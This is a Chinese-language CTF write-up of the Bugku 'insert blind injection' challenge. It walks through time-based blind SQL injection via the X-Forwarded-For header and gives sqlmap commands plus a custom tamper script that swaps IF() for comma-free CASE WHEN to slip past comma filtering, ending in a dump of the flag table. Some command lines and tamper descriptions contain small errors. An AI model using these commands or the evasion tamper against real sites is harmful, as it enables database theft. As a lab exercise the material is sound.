前言
本篇文章是在做ctf bugku的一道sql insert盲注的题(题目地址:insert盲注)中踩到的坑,觉得还挺有趣的,于是便有了今天的文章,如有纰漏还望大佬们多多指正。
进入主题
-
判断注入点
明显的insert类型的注入,注入点在X-Forwarded-For,但关闭了错误提示并且没有回显,因此只能进行时间盲注获取flag。
2. 使用sqlmap获取数据(首先说明一下,网上有这道题的writeup,编写python脚本暴库,但懒人表示能sqlmap就sqlmap吧,虽然可能需要踩坑。)
(1)直接使用sqlmap看看能否判断
python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --dbms MySQL
可以看到sqlmap识别为false positive,原因是图片中箭头所指的payload:
' OR 6634=IF((58=58),SLEEP(5),6634) AND 'GTiD'='GTiD
中使用了逗号(,),而insert注入中使用了逗号则会破坏语句结构,因此这里相当于过滤了逗号。
(2)编写tamper脚本(if2casewhen.py)改写IF类型的判断为CASE-WHEN可以不使用逗号。
看了一遍tamper脚本发现没有这个改写规则,于是就只能自立更生了。
#!/usr/bin/env python""" Author: Conan0xff """from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHESTdef dependencies(): passdef tamper(payload, **kwargs): """ Replaces instances like 'IF(A,B,C)' with 'CASE WHEN (A) THEN (B) ELSE (C) END' counterpart Requirement: * MySQL * SQLite (possibly) * SAP MaxDB (possibly) Tested against: * MySQL 5.0 and 5.5 Notes: * Useful to bypass very weak and bespoke web application firewalls that filter the IFNULL() functions >>> tamper('IF(1=1,1,2)') 'CASE WHEN (1=1) THEN (1) ELSE (2) END' """ if payload and payload.find("IF") > -1: while payload.find("IF(") > -1: index = payload.find("IF(") depth = 1 comma1,comma2, end =None, None, None for i in xrange(index + len("IF("), len(payload)): if depth == 1 and payload[i] == ',' and comma1 is None: comma1 = i #the seccond comma if depth == 1 and payload[i] == ',' and comma1 is not None: comma2 = i elif depth == 1 and payload[i] == ')': end = i break elif payload[i] == '(': depth += 1 elif payload[i] == ')': depth -= 1 if comma1 and comma2 and end: _ = payload[index + len("IF("):comma1] __= payload[comma1+1:comma2] ___ = payload[comma2 + 1:end].lstrip() newVal = "(CASE WHEN (%s) THEN (%s) ELSE (%s) END)" % (_, __, ___) payload = payload[:index] + newVal + payload[end + 1:] else: break return payload
使用tamper再跑一遍
python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --dbms MySQL --tamper if2casewhen
可以看到成功识别为vulnerable,payload中的if语句也成功转
换为case-when语句。
(3)试试看跑数据库呢
python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --dbms MySQL --tamper if2casewhen --dbs
可以看到由于使用了函数mid 和 ifnull也需要用到逗号,因此无法获取数据库名,所幸sqlmap的tamper脚本里有了可以不使用逗号的mid和ifnull的改写规则:
ifnull2casewhenisnull.py: MID(VERSION(), 1, 1) ====> MID(VERSION() FROM 1 FOR 1)
commalessmid.py: IFNULL(1, 2) ====> CASE WHEN ISNULL(1) THEN (2) ELSE (1) END
添加上述两个tamper再跑一次看看
python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --tamper if2casewhen,ifnull2casewhenisnull,commalessmid --dbms MySQL --dbs --nocast
可以看到成功跑出数据库 web15
(4)试试看跑表
python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --tamper if2casewhen,ifnull2casewhenisnull,commalessmid -D web15 --tables MySQL --dbs --nocast
使用爆破的方式跑表成功爆出两张表
(5)跑flag表的列以及数据
python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --tamper if2casewhen,ifnull2casewhenisnull,commalessmid -D web15 -T flag --dump MySQL --dbs --nocast
可以看到爆破除了列名,但由于limit使用了逗号也导致了无法获取列数据,sqlmap tamper中还有么?
没错,就是commalesslimit.py,改写规则如下:
LIMIT 2, 3 ====> LIMIT 3 OFFSET 2
加上该tamper再跑一次
python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --tamper if2casewhen,ifnull2casewhenisnull,commalessmid,commalesslimit -D web15 -T flag --dump MySQL --dbs --nocast
可以看到成功注出flag。
总结
insert注入其实也是可以sqlmap一把梭的,关键看payload的定制和改写=。=
本文始发于微信公众号(疯猫网络):SQLMap Insert注入踩坑记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论